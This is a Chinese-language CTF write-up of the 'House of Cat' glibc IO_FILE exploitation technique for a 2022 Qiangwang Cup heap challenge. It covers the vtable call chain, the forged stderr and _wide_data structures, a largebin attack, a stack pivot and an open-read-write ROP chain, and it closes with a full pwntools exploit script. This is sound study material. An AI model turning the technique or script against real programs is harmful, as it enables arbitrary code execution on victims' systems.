glibc 2.23 -- 至今
- 可以进行一次任意地址写堆地址
- 可以触发 IO 流操作
- 劫持stderr指针为我们构造的fake_IO_FILE(伪造好stderr和_wide_data结构体)
- 触发 IO 流操作
触发__malloc_assert
后会有这样一条调用链:
__malloc_assert -> __fxprintf -> __vfxprintf->locked_vfxprintf -> __vfprintf_internal -> _IO_file_xsputn
其中_IO_file_xsputn
是通过vtable
处的指针来调用,且在_IO_file_jumps
中_IO_file_xsputn
函数和_IO_wfile_seekoff
相差0x10大小
我们通过劫持 _IO_2_1_stderr
结构体,并将 vtable
处的指针改为_IO_wfile_seekoff
,来执行我们想要的链:
_IO_wfile_seekoff -> _IO_switch_to_wget_mode
->_IO_WOVERFLOW
//_IO_wfile_seekoff函数源码 off64_t _IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode) { off64_t result; off64_t delta, new_offset; long int count; if (mode == 0) return do_ftell_wide (fp); int must_be_exact = ((fp->_wide_data->_IO_read_base == fp->_wide_data->_IO_read_end) && (fp->_wide_data->_IO_write_base == fp->_wide_data->_IO_write_ptr)); bool was_writing = ((fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) || _IO_in_put_mode (fp)); if (was_writing && _IO_switch_to_wget_mode (fp)) return WEOF; ...... }
通过 _IO_wfile_seekoff
函数来触发 _IO_switch_to_wget_mode
函数,进而执行 _IO_switch_to_wget_mode
函数再触发宏调用函数_IO_WOVERFLOW
//_IO_switch_to_wget_mode 函数源码 _IO_switch_to_wget_mode (FILE *fp) { if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF) return EOF; ...... }
若满足 fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
这个条件,_IO_WOVERFLOW
函数会通过跳转到_wide_vtable
中的函数指针
我们可以通过控制_wide_vtable
处的指针,来劫持程序的执行流
若未开沙箱,则可直接劫持_wide_vtable
为one_gadget
若execve函数被禁,则可通过magic_gadget和leave_ret构造栈迁移,来完全控制程序流执行rop链,详细可以在CTF 中 glibc堆利用 及 IO_FILE 总结 学习
magic_gadget:
<svcudp_reply+26>: mov rbp,QWORD PTR [rdi+0x48]
<svcudp_reply+30>: mov rax,QWORD PTR [rbp+0x18]
<svcudp_reply+34>: lea r13,[rbp+0x10]
<svcudp_reply+38>: mov DWORD PTR [rbp+0x10],0x0
<svcudp_reply+45>: mov rdi,r13
<svcudp_reply+48>: call QWORD PTR [rax+0x28]
保护全开,开了沙箱
限制申请大小 0x418-0x46f,限制修改次数两次并只能修改0x30字节
存在UAF漏洞,限制泄露数据最大大小为0x30字节
题目除了前面的加密,本身算是一道标准的菜单题,不过我们主要是要分析这道题里house of cat手法如何利用,前面需要逆向的部分不再赘述
由于开了沙箱的缘故,我们需要构造orw来读取flag。此外,送入orw前还需要构造close(0),将标准输入关闭掉,这样再次read的时候flag文件描述符就将是0,则可以正常read flag文件
- 首先是泄露libc地址和heap地址
- 伪造好stderr和_wide_data结构体
- largebin attack攻击stderr指针
- 修改top_chunk大小并触发IO调用
- 进入 house of cat 的调用链,通过_wide_data->vtable跳转到提前布置好的地址进行栈迁移
- 栈迁移后便已完全控制程序流,跳转执行rop链
首先看一下我们要伪造的两个结构体stderr和_IO_wide_data伪造前的样子
stderr
p *(struct _IO_FILE_plus*) stderr
pwndbg> p _IO_2_1_stderr_ $1 = { file = { _flags = -72540025, _IO_read_ptr = 0x7ff44001a723 <_IO_2_1_stderr_+131> "", _IO_read_end = 0x7ff44001a723 <_IO_2_1_stderr_+131> "", _IO_read_base = 0x7ff44001a723 <_IO_2_1_stderr_+131> "", _IO_write_base = 0x7ff44001a723 <_IO_2_1_stderr_+131> "", _IO_write_ptr = 0x7ff44001a723 <_IO_2_1_stderr_+131> "", _IO_write_end = 0x7ff44001a723 <_IO_2_1_stderr_+131> "", _IO_buf_base = 0x7ff44001a723 <_IO_2_1_stderr_+131> "", _IO_buf_end = 0x7ff44001a724 <_IO_2_1_stderr_+132> "", _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7ff44001a780 <_IO_2_1_stdout_>, _fileno = 2, _flags2 = 0, _old_offset = -1, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "", _lock = 0x7ff44001ba60 <_IO_stdfile_2_lock>, _offset = -1, _codecvt = 0x0, _wide_data = 0x7ff4400198a0 <_IO_wide_data_2>, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = 0, _unused2 = '\000' <repeats 19 times> }, vtable = 0x7ff440016600 <_IO_file_jumps> }
_IO_wide_data
p *(struct _IO_wide_data*) 0x555555554000 #0x555555554000为heap基地址
pwndbg> p *(struct _IO_wide_data*) 0x558944aed000 $2 = { _IO_read_ptr = 0x10102464c457f <error: Cannot access memory at address 0x10102464c457f>, _IO_read_end = 0x0, _IO_read_base = 0x1003e0003 <error: Cannot access memory at address 0x1003e0003>, _IO_write_base = 0x11f0 <error: Cannot access memory at address 0x11f0>, _IO_write_ptr = 0x40 <error: Cannot access memory at address 0x40>, _IO_write_end = 0x3148 <error: Cannot access memory at address 0x3148>, _IO_buf_base = 0x38004000000000 <error: Cannot access memory at address 0x38004000000000>, _IO_buf_end = 0x1c001d0040000d <error: Cannot access memory at address 0x1c001d0040000d>, _IO_save_base = 0x400000006 <error: Cannot access memory at address 0x400000006>, _IO_backup_base = 0x40 <error: Cannot access memory at address 0x40>, _IO_save_end = 0x40 <error: Cannot access memory at address 0x40>, _IO_state = { __count = 64, __value = { __wch = 0, __wchb = "\000\000\000" } }, _IO_last_state = { __count = 728, __value = { __wch = 0, __wchb = "\000\000\000" } }, _codecvt = { __cd_in = { step = 0x2d8, step_data = { __outbuf = 0x8 <error: Cannot access memory at address 0x8>, __outbufend = 0x400000003 <error: Cannot access memory at address 0x400000003>, __flags = 792, __invocation_counter = 0, __internal_use = 792, __statep = 0x318, __state = { __count = 28, __value = { __wch = 0, __wchb = "\000\000\000" } } } }, __cd_out = { step = 0x1c, step_data = { __outbuf = 0x1 <error: Cannot access memory at address 0x1>, __outbufend = 0x400000001 <error: Cannot access memory at address 0x400000001>, __flags = 0, __invocation_counter = 0, __internal_use = 0, __statep = 0x0, __state = { __count = 2512, __value = { __wch = 0, __wchb = "\000\000\000" } } } } }, _shortbuf = L"\x9d0", _wide_vtable = 0x1000 }
add(14,0x450,b'o') add(13,0x450,b'p') delete(14) add(12,0x460,b'n') show(14) p.recvuntil('Context:\n') libc_base=l64()-0x21a0e0#-0x10-libc.sym['__malloc_hook'] li('libc_base = '+hex(libc_base)) heap_base = u64(p.recvuntil("\x55")[-6:].ljust(8,b"\x00"))-0x290 li('heap_base = '+hex(heap_base))
fake_file=p64(1)*4 fake_file+=p64(0)*3 fake_file+=p64(heap_base+0x1180+0x30) #_IO_save_base -- _IO_2_1_stderr_+72 fake_file+=p64(0)*7 fake_file+=p64(lock)+p64(0)*2 #_IO_stdfile_2_lock fake_file+=p64(heap_base+0x10a0) #_wide_data fake_file+=p64(0)*6 fake_file+=p64(IO_wfile_jumps+0x10) #fake_file+= add(0,0x428,fake_file)
pl=p64(libc_base+0x21a0d0)*2+p64(IO_list_all)+p64(stderr-0x20) edit(0,pl) #main_arena+1104 main_arena+1104 #IO_list_all stderr-0x20 delete(1) #ub add(3,0x440,b'c') #attack
add(4,0x418,b'd') #r chunk1
freed
chunk 15
chunk 4
chunk 2
chunk 3
pl=p64(heap_base+0x2e20)+p64(libc_base+0x21a0e0)+p64(heap_base+0x2e20)+p64(heap_base+0x3263-0x20) edit(3,pl) #chunk9+0x30 main_arena+1120 #chunk9+0x30 &TopChunk_Size+3 -0x20 delete(8) #ub delete(14) add(10,0x450,b'a') #attack
#print('==============================================part 1 chunk0 = heap_base+0xfc0 fake_file=p64(1)*4 fake_file+=p64(0)*3 fake_file+=p64(chunk0+0x1c0+0x30) #_IO_save_base -- _IO_2_1_stderr_+72 fake_file+=p64(0)*7 fake_file+=p64(lock)+p64(0)*2 #_IO_stdfile_2_lock fake_file+=p64(chunk0+0xe0) #wide_data start #_wide_data fake_file+=p64(0)*6 fake_file+=p64(IO_wfile_jumps+0x10) #vtable fake_file+=wide_data
构造后的stderr,我们将_IO_save_base改为chunk0+0x1c0+0x30
将_wide_data地址改为我们送入chunk0中的payload中wide_data这部分的地址,以进行_wide_data结构体的构造
pwndbg> p *stderr $3 = { _flags = 0, _IO_read_ptr = 0x431 <error: Cannot access memory at address 0x431>, _IO_read_end = 0x7f0cbec1a0d0 <main_arena+1104> "\300\240\301\276\f\177", _IO_read_base = 0x7f0cbec1a0d0 <main_arena+1104> "\300\240\301\276\f\177", _IO_write_base = 0x7f0cbec1a680 <_IO_list_all> "\240\246\301\276\f\177", _IO_write_ptr = 0x7f0cbec1a840 <_IO_2_1_stdout_+192> "", _IO_write_end = 0x0, _IO_buf_base = 0x0, _IO_buf_end = 0x0, _IO_save_base = 0x559ea0e1c1b0 <incomplete sequence \336>, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x0, _fileno = 0, _flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "", _lock = 0x7f0cbec1ba60 <_IO_stdfile_2_lock>, _offset = 0, _codecvt = 0x0, _wide_data = 0x559ea0e1c0a0, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = 0, _unused2 = '\000' <repeats 19 times> }
#print('==============================================part 2 wide_data=p64(0)*4+p64(1) #_IO_write_ptr wide_data+=p64(0)*20 wide_data+=b'flag\x00\x00\x00\x00' #_statep #flag_addr wide_data+=p64(0)*2 wide_data+=p64(heap_base+0x1170) #wide_data+=p64(0)*2 1 wide_data+=pivot
看下面我们构造后的_IO_wide_data
_wide_vtable被我们修改为了chunk0+0x1b0
这里的0x000055f6c4a410a0就是我们送入chunk0中的payload中的wide_data这部分的地址(chunk0+0xe0)
pwndbg> p *(struct _IO_wide_data*) 0x000055f6c4a410a0 $4 = { _IO_read_ptr = 0x0, _IO_read_end = 0x0, _IO_read_base = 0x0, _IO_write_base = 0x0, _IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>, _IO_write_end = 0x0, _IO_buf_base = 0x0, _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _IO_state = { __count = 0, __value = { __wch = 0, __wchb = "\000\000\000" } }, _IO_last_state = { __count = 0, __value = { __wch = 0, __wchb = "\000\000\000" } }, _codecvt = { __cd_in = { step = 0x0, step_data = { __outbuf = 0x0, __outbufend = 0x0, __flags = 0, __invocation_counter = 0, __internal_use = 0, __statep = 0x0, __state = { __count = 0, __value = { __wch = 0, __wchb = "\000\000\000" } } } }, __cd_out = { step = 0x0, step_data = { __outbuf = 0x0, __outbufend = 0x0, __flags = 0, __invocation_counter = 0, __internal_use = 0, __statep = 0x67616c66, __state = { __count = 0, __value = { __wch = 0, __wchb = "\000\000\000" } } } } }, _shortbuf = L"", _wide_vtable = 0x55f6c4a41170 }
stderr中储存的chunk0的值会作为rdi送入_IO_wfile_seekoff和_IO_switch_to_wget_mode
经过一系列赋值后,我们会执行到chunk0+0xa0+0xe0+0x18地址处,即我们的magic_gadget处
执行 _IO_WOVERFLOW劫持程序流到magic_gadget
#print('==============================================part 3 pivot=p64(magic_gadget) #call rdi+0x88 pivot+=p64(0)*4 pivot+=p64(0xdeadbeef) pivot+=p64(add_rsp_ret) pivot+=p64(0xdeadbeef) pivot+=p64(heap_base+0x1178+0x30) #pivot+=p64(0)*4 4 pivot+=p64(leave_ret) pivot+=rop
我们将rbp赋值为chunk0+0x48(-->chunk0+0x1b0)
而下面会执行到chunk0+0x48 +0x18 + 0x28地址处(即leave_ret处)
栈迁移
自此,我们完全控制了程序流
#print('==============================================part 4 #close(0) rop=p64(pop_rdi) rop+=p64(0) rop+=p64(close_addr) #open('flag',0) flag_addr=heap_base+0x1168 rop+=p64(pop_rdi) rop+=p64(flag_addr)# 'flag' address rop+=p64(pop_rsi) rop+=p64(0) rop+=p64(pop_rax_ret) rop+=p64(2) rop+=p64(syscall) #read(0,heap_base+0xb40,0x50) rop+=p64(pop_rdi) rop+=p64(0) rop+=p64(pop_rsi) rop+=p64(heap_base+0xb40) #chunk12-0x10 rop+=p64(pop_rdx_r12) rop+=p64(0x50) rop+=p64(0) rop+=p64(read_addr) #write(1,heap_base+0xb40,0x50) rop+=p64(pop_rdi) rop+=p64(1) rop+=p64(pop_rsi) rop+=p64(heap_base+0xb40) #chunk12-0x10 rop+=p64(pop_rdx_r12) rop+=p64(0x50) rop+=p64(0) rop+=p64(write_addr)
要注意的一点是由于我们part3的构造,所以我们还要进行add rsp,0x18的调整以执行到rop
成功获取flag
calloc
_int_malloc
sysmalloc
__malloc_assert
__fxprintf
locked_vfxprintf
__vfprintf_internal
_IO_wfile_seekoff
_IO_switch_to_wget_mode
magic_gadget
leave_ret
rop
from pwn import * p=process('./pwn') libc=ELF('./libc.so.6') context.log_level='debug' s = lambda data :p.send(data) sa = lambda x, y :p.sendafter(x, y) sl = lambda data :p.sendline(data) sla = lambda x, y :p.sendlineafter(x, y) r = lambda num :p.recv(num) ru = lambda delims, drop=True :p.recvuntil(delims, drop) itr = lambda :p.interactive() uu32 = lambda data,num :u32(p.recvuntil(data)[-num:].ljust(4,b'\x00')) uu64 = lambda data,num :u64(p.recvuntil(data)[-num:].ljust(8,b'\x00')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00")) li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m') context.terminal = ['gnome-terminal','-x','sh','-c'] def dbg(): gdb.attach(proc.pidof(p)[0]) pause() def add(idx,size,cont): sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff') sla('plz input your cat choice:\n',str(1)) sla('plz input your cat idx:\n',str(idx)) sla('plz input your cat size:\n',str(size)) sa('plz input your content:\n',cont) def delete(idx): sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff') sla('plz input your cat choice:\n', str(2)) sla('plz input your cat idx:\n',str(idx)) def show(idx): sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff') sla('plz input your cat choice:\n', str(3)) sla('plz input your cat idx:\n',str(idx)) def edit(idx,cont): sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff') sla('plz input your cat choice:\n', str(4)) sla('plz input your cat idx:\n',str(idx)) sa('plz input your content:\n', cont) sa('mew mew mew~~~~~~','LOGIN | r00t QWB QWXFadmin') add(14,0x450,b'o') add(13,0x450,b'p') delete(14) add(12,0x460,b'n') show(14) p.recvuntil('Context:\n') libc_base=l64()-0x21a0e0#-0x10-libc.sym['__malloc_hook'] li('libc_base = '+hex(libc_base)) heap_base = u64(p.recvuntil("\x55")[-6:].ljust(8,b"\x00"))-0x290 li('heap_base = '+hex(heap_base)) IO_list_all = libc_base+0x21a680 magic_gadget = libc_base+0x16a1fa ''' <svcudp_reply+26>: mov rbp,QWORD PTR [rdi+0x48] <svcudp_reply+30>: mov rax,QWORD PTR [rbp+0x18] <svcudp_reply+34>: lea r13,[rbp+0x10] <svcudp_reply+38>: mov DWORD PTR [rbp+0x10],0x0 <svcudp_reply+45>: mov rdi,r13 <svcudp_reply+48>: call QWORD PTR [rax+0x28] ''' IO_2_1_stderr = libc_base+0x21a6a0 #_IO_2_1_stderr stderr = libc_base+0x21a860 IO_wfile_jumps = libc_base+0x2160c0 lock=libc_base+0x21ba60 #_lock add_rsp_ret=libc_base+0x000000000003a889 leave_ret=libc_base+0x00000000000562ec pop_rdi=libc_base+0x000000000002a3e5 pop_rsi=libc_base+0x000000000002be51 pop_rdx_r12=libc_base+0x000000000011f497 pop_rax_ret=libc_base+0x0000000000045eb0 syscall=libc_base+0xea5b9 read_addr=libc_base+libc.symbols['read'] write_addr=libc_base+libc.symbols['write'] close_addr=libc_base+libc.symbols['close'] add(11,0x450,b'm') #print('==============================================part 4 #close(0) rop=p64(pop_rdi) rop+=p64(0) rop+=p64(close_addr) #open('flag',0) flag_addr=heap_base+0x1168 rop+=p64(pop_rdi) rop+=p64(flag_addr)# 'flag' address rop+=p64(pop_rsi) rop+=p64(0) rop+=p64(pop_rax_ret) rop+=p64(2) rop+=p64(syscall) #read(0,heap_base+0xb40,0x50) rop+=p64(pop_rdi) rop+=p64(0) rop+=p64(pop_rsi) rop+=p64(heap_base+0xb40) #chunk12-0x10 rop+=p64(pop_rdx_r12) rop+=p64(0x50) rop+=p64(0) rop+=p64(read_addr) #write(1,heap_base+0xb40,0x50) rop+=p64(pop_rdi) rop+=p64(1) rop+=p64(pop_rsi) rop+=p64(heap_base+0xb40) #chunk12-0x10 rop+=p64(pop_rdx_r12) rop+=p64(0x50) rop+=p64(0) rop+=p64(write_addr) #print('==============================================part 3 pivot=p64(magic_gadget) #call rdi+0x88 pivot+=p64(0)*4 pivot+=p64(0xdeadbeef) pivot+=p64(add_rsp_ret) pivot+=p64(0xdeadbeef) pivot+=p64(heap_base+0x1178+0x30) #pivot+=p64(0)*4 4 pivot+=p64(leave_ret) pivot+=rop #print('==============================================part 2 wide_data=p64(0)*4+p64(1) #_IO_write_ptr wide_data+=p64(0)*20 wide_data+=b'flag\x00\x00\x00\x00' #_statep #flag_addr wide_data+=p64(0)*2 wide_data+=p64(heap_base+0x1170) #wide_data+=p64(0)*2 1 wide_data+=pivot #print('==============================================part 1 fake_file=p64(1)*4 fake_file+=p64(0)*3 fake_file+=p64(heap_base+0xfc0+0x1c0+0x30) #chunk0+0x1c0 -> chunk0+0x1b0 #_IO_save_base fake_file+=p64(0)*7 fake_file+=p64(lock)+p64(0)*2 #_IO_stdfile_2_lock fake_file+=p64(heap_base+0x10a0) #wide_data #_wide_data fake_file+=p64(0)*6 fake_file+=p64(IO_wfile_jumps+0x10) #vtable --> _IO_wfile_seekoff fake_file+=wide_data add(0,0x428,fake_file) add(15,0x460,'prevent merge chunk') add(1,0x418,b'a') delete(0) #ub add(2,0x460,b'b') #chunk0 -> largebin pl=p64(libc_base+0x21a0d0)*2+p64(IO_list_all)+p64(stderr-0x20) edit(0,pl) #main_arena+1104 main_arena+1104 #IO_list_all stderr-0x20 delete(1) #ub add(3,0x440,b'c') #attack add(4,0x418,b'd') #r chunk1 add(7,0x460,b'g') add(8,0x430,b'h') delete(3) add(9,0x460,b'i') #chunk3 -> largebin pl=p64(heap_base+0x2e20)+p64(libc_base+0x21a0e0)+p64(heap_base+0x2e20)+p64(heap_base+0x3263-0x20) edit(3,pl) #chunk9+0x30 main_arena+1120 #chunk9+0x30 &TopChunk_Size+3 -0x20 delete(8) #ub delete(14) add(10,0x450,b'a') #attack p.sendafter("mew mew mew~~~~~~\n",'CAT | r00t QWB QWXF$\xff') p.sendlineafter("plz input your cat choice:\n",str(1)) p.sendlineafter("plz input your cat idx:\n",str(6)) dbg() p.sendlineafter("plz input your cat size:\n",str(0x46f)) itr()
House of cat新型glibc中IO利用手法解析 && 第六届强网杯House of cat详解
house of cat -2022强网杯pwn复现 | ZIKH26's Blog